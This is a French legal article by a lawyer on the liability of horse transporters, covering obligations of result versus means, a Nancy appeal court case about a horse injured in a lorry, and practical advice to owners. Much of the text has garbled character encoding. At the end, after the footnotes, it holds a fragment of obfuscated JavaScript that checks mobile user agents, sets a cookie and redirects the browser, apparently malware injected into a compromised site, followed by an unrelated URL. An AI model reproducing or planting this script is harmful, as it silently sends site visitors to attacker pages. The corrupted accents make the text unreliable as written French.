Les obligations du transporteur de chevaux (professionnel et non professionnel)

Sorties en compAi??titions, week-end Ai?? la plage ou simplement changement dai??i??Ai??curie, les occasions dai??i??organiser le transport de son cheval sont nombreuses pour le cavalier propriAi??taire.

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Comment faire lorsque ledit propriAi??taire nai??i??est pas Ai?? mA?me de transporter son cheval ? Le plus souvent, le cavalier propriAi??taire dAi??sireux de transporter son cheval fait appel Ai?? un professionnel du transport des chevauxAi??(contre rAi??munAi??ration) ou sai??i??arrange avec dai??i??autres cavaliers qui ont un transport. A ce titre, ces transporteurs non professionnels peuvent A?tre rAi??munAi??rAi??s ou non.

Quelles sont les obligations du transporteur dans ces diffAi??rents casAi??? Le transporteur est-il redevable dai??i??une obligation de rAi??sultat ou dai??i??une simple obligation de moyensAi??? Quels recours sont Ai?? la disposition du cavalier propriAi??taire en cas dai??i??accidentAi??? Analysons ensemble le rAi??gime juridique liAi?? au transport des chevaux[1].

Pouvoir transporter son cheval en toute autonomie nai??i??est pas Ai?? la portAi??e de nai??i??importe quel propriAi??taire. En effet, avoir son propre camion ou son propre van ai??i?? et donc dans ce cas un vAi??hicule pouvant tracter ai??i?? pose des problAi??matiques logistiques et financiA?res importantesai??i?? Cai??i??est pourquoi, de nombreux cavaliers font appel soit Ai?? un transporteur professionnel, soit Ai?? un ami ou une connaissance pour faire transporter leur cheval. Malheureusement, sur la route, les dangers sont partout et il convient donc de choisir le mode de transport le plus adaptAi?? Ai?? votre compagnon et qui vous sAi??curise au mieux, en tant que propriAi??taire.

Avant de commencer notre exposAi?? thAi??orique, examinons un Ai??Ai??cas dai??i??Ai??coleAi??Ai?? pour comprendre les risques liAi??s au transport de son cheval.

  1. Cas dai??i??Ai??coleai??i??

PropriAi??taire dai??i??un jeune cheval et souhaitant le vendre, Madame F dAi??cide de le confier Ai?? un intermAi??diaire qui sai??i??occupera de le sortir en compAi??tition et de le vendre.

Cai??i??est ainsi que le 19 mars 2006, Madame F conclut avec Madame L un contrat intitulAi?? Ai??Ai??contrat d’exploitation avec mandat de venteAi??Ai?? aux termes duquel il est prAi??vu que Madame F confie son cheval Ai?? Madame L en vue de sa vente, Madame L devant hAi??berger le cheval et ayant la possibilitAi?? de l’utiliser en compAi??tition ai??i?? afin de le Ai??Ai??montrerAi??Ai?? et de favoriser sa vente. Par ailleurs, il Ai??tait prAi??vu que tous les frais inhAi??rents au cheval Ai??taient Ai?? la seule charge de Madame L qui, en contrepartie, pouvait le cas Ai??chAi??ant conserver la totalitAi?? des gains obtenus en concours (CA Nancy 6 mars 2012, JurisdataAi??nAi??Ai??2012-018581).

Madame L a donc transportAi?? ledit cheval sur un terrain de concours et, estimant que la durAi??e de stationnement Ai??tait rAi??duite, nai??i??a pas louAi?? de box sur place et a laissAi?? le cheval Ai?? lai??i??intAi??rieur du camion le temps de lai??i??attente. Malheureusement, pendant ce laps de temps, celui-ci sai??i??est gravement blessAi?? dans le camion et a dAi?? A?tre euthanasiAi??. Madame F a intentAi?? une action devant les tribunaux afin dai??i??engager la responsabilitAi?? de Madame L et de se voir indemnisAi??e pour la perte de son cheval.

Dans cette espA?ce, la Cour dai??i??appel a considAi??rAi?? que le contrat s’analysait Ai??Ai??dai??i??une part en un mandat de vente, d’autre part en un contrat de dAi??pA?t salariAi?? rAi??munAi??rAi?? par les gains de concoursAi??Ai?? et la responsabilitAi?? de la cavaliA?re a Ai??tAi?? Ai??cartAi??e. PourquoiAi??? CommentAi??? Pour rAi??pondre Ai?? cette question, il convient dai??i??Ai??tudier plus en dAi??tails le rAi??gime juridique du transporteur de chevaux, quai??i??il sai??i??agisse de son mAi??tier (transporteur professionnel), quai??i??il rende simplement service ou quai??i??il sai??i??agisse dai??i??une prestation accessoire Ai?? sa prestation principale (transporteur non professionnel dans les 2 derniers cas).

  1. Les obligations du transporteur professionnel

Le transporteur professionnel est tenu, en vertu de lai??i??article L.Ai??133-1 du Code de commerce relatif au contrat de transport, dai??i??une obligation de rAi??sultatAi??: aussi, lai??i??existence du dommage suffira Ai?? engager sa responsabilitAi?? (hors cas de force majeure).

A noter quai??i??il y a Ai??Ai??contrat de transportAi??Ai?? dA?s lors que le dAi??placement du cheval est lai??i??objet principal de la prestation Ai?? exAi??cuter et que ce dAi??placement est rAi??munAi??rAi??. Cai??i??est le cas le plus sAi??curisant pour le propriAi??taire dai??i??Ai??quidAi??Ai??; le transporteur ne pourra en effet sai??i??exonAi??rer quai??i??en dAi??montrant son absence de faute et lai??i??existence soit dai??i??un cas de force majeure, soit dai??i??un vice propre de la chose (le cheval), soit de la faute du cocontractant (le propriAi??taire).

  1. Les obligations du transporteur non professionnel

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Dans le cas du recours Ai?? un transporteur non professionnel ne percevant aucune rAi??munAi??ration (exceptAi?? le partage des frais de route), la responsabilitAi?? de ce dernier en cas dai??i??accident sera dAi??lictuelle. Autrement dit, le propriAi??taire devra prouver la faute du conducteur ou invoquer la responsabilitAi?? sans faute du fait des choses, cai??i??est-Ai??-dire du vAi??hicule (Le droit du cheval et de lai??i??Ai??quitation, 2005, p.Ai??63).

Dans le cas oA? le transporteur est le dAi??positaire du cheval, le rAi??gime de responsabilitAi?? de ce dernier est celui correspondant au contrat principalAi??: Ai?? ce titre, il sera donc redevable dai??i??une obligation de moyens simple (contrat dai??i??entreprise) ou renforcAi??e (contrat de dAi??pA?t salariAi??)[2].

Cai??i??est ainsi que, pour revenir Ai?? notre cas dai??i??Ai??cole, les juges ont considAi??rAi?? que le contrat s’analysait Ai??Ai??dai??i??une part en un mandat de vente, d’autre part en un contrat de dAi??pA?t salariAi?? rAi??munAi??rAi?? par les gains de concoursAi??Ai?? et nai??i??ont pas manquAi?? de rappeler Ai?? ce sujet que Ai??Ai??le dAi??positaire Ai?? titre onAi??reux ne peut s’exonAi??rer de l’obligation de moyens Ai?? laquelle il est tenu qu’en rapportant la preuve soit de son absence de faute, soit d’un Ai??vAi??nement de force majeure, soit du fait du dAi??posantAi??Ai?? (Cass. Civ1., 29 janvier 2002, nAi?? 99-19.316). En effet, Madame L, ayant agi ai??i?? selon les juges de la Cour dai??i??appel de Nancy ai??i?? dans le cadre dai??i??un contrat de dAi??pA?t salariAi?? (et non dai??i??un contrat dai??i??entraAi??nement), Ai??tait donc redevable Ai?? ce titre dai??i??une obligation de moyens renforcAi??eAi??: autrement dit, elle ne pouvait sai??i??exonAi??rer de sa responsabilitAi?? quai??i??en prouvant son absence de faute.

Aussi, il a Ai??tAi?? jugAi?? que la responsabilitAi?? de Madame L ne pouvait A?tre engagAi??e, car Ai??Ai??elle dAi??montrait qu’elle n’avait commis aucune fauteAi??Ai??. Pour appuyer leur dAi??cision les juges se sont notamment basAi??s sur plusieurs attestations desquelles il ressortait que Ai??Ai??Madame L a[vait] procAi??dAi?? au transport et Ai?? la mise en attente de l’animal dans des conditions habituellement mises en Ai??uvre par des pratiquants expAi??rimentAi??s de l’Ai??quitation (ai??i??), sans devoir recourir Ai?? l’utilisation d’un box, inutile en de telles circonstances en raison de la durAi??e rAi??duite de l’Ai??preuve Ai??questre (ai??i??)Ai??Ai?? et que Ai??Ai??le vAi??hicule utilisAi?? Ai??tait adaptAi?? au transport des chevauxAi??Ai??. En outre, les attestations ont permis de prouver que Ai??Ai??le cheval Ai??tait sous la surveillance de celle-ci [Madame L] et Ai??quipAi?? de protections de transportAi??Ai?? et que Ai??Ai??Madame L a rAi??agi trA?s rapidement et demandAi?? l’assistance du vAi??tAi??rinaire de gardeAi??Ai??. En rAi??sumAi??, la responsabilitAi?? de Madame L a Ai??tAi?? Ai??cartAi??e au motif quai??i??elle a agi avec le mA?me soin que sai??i??il avait Ai??tAi?? question de son propre cheval et quai??i??elle nai??i??a commis aucune faute dans la survenance de lai??i??accident.

Il convient enfin de souligner un cas particulierAi??: celui du transporteur non professionnel qui est rAi??munAi??rAi?? pour assurer le transport dai??i??un cheval. Dans pareil cas, il semblerait que la jurisprudence admette quai??i??une obligation de rAi??sultat soit Ai?? la charge de ce dernier, bien que les dispositions lAi??gales propres au contrat de transport ne sai??i??appliquent pas. Toutefois, on peut sai??i??interroger sur lai??i??intAi??rA?t de recourir Ai?? un transporteur dont le transport des chevaux nai??i??est pas le mAi??tier Ai?? proprement parler (au lieu de sai??i??adresser Ai?? un professionnel) si cai??i??est pour engager des dAi??penses financiA?res comparablesai??i??

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Les possibilitAi??s offertes en termes de transport sont nombreuses et les consAi??quences en termes deAi??responsabilitAi?? diffA?rent en fonction des options choisies. DAi??sormais, dAi??ment informAi?? sur celles-ci, prAi??fAi??rez lai??i??option qui rassemble le plus dai??i??avantages pour vous et votre compagnon en fonction de vos contraintes financiA?res et pratiques.

 

 

Julie Chapuy, Avocat Ai?? la Cour

 

 

 

 

 

 

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Conseils pratiques
– Pour les propriAi??tairesAi??:

Si vous en avez les moyens, prAi??fAi??rez le recours Ai?? un transporteur professionnelAi??; en comparaison avec un transporteur non professionnel, celui-ci vous apportera des garanties supplAi??mentaires (obligation de rAi??sultat vs. obligation de moyens). En outre, les transporteurs professionnels ont une grande habitude de la route et de ses dangers ainsi que de la gestion des chevaux pendant le transport.

 

– Pour les dAi??positairesAi??:

Si vous devez transporter des chevaux de faAi??on habituelle, veillez Ai?? entretenir comme il se doit les vAi??hicules de transport, Ai?? toujours mettre des protections aux chevaux transportAi??s et Ai?? assurer leur surveillance pendant le transport. Ainsi, il vous sera plus aisAi?? de prouver lai??i??absence de faute en cas dai??i??accident et de contentieux judiciaire.

 

A retenirai??i??
IndAi??pendamment du prAi??judice matAi??riel liAi?? Ai?? la mort dai??i??un animal, les juges admettent lai??i??existent dai??i??un prAi??judice subjectif et affectif susceptible de donner lieu Ai?? rAi??paration (CA Toulouse, 6 mars 2007, nAi??Ai??05/04051). En cas de dAi??cA?s de votre cheval lors dai??i??un transport, vous avez donc la possibilitAi?? de demander rAi??paration de votre prAi??judice moral (hors demande exorbitante).

 

[1] Cet article nai??i??aborde pas les problAi??matiques juridiques liAi??es Ai?? la Loi du 5 juillet 1985 sur les accidents de la circulation et se cantonne Ai?? lai??i??Ai??tude des mAi??canismes de responsabilitAi?? civile dAi??lictuelle et contractuelle.

[2] Cf. Article Ai??Ai??Mettre son cheval en pensionAi??Ai??, Lai??i??Eperon nAi??343, AvrilAi??2013. |vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://trimsalon-marlie.nl/?p=797

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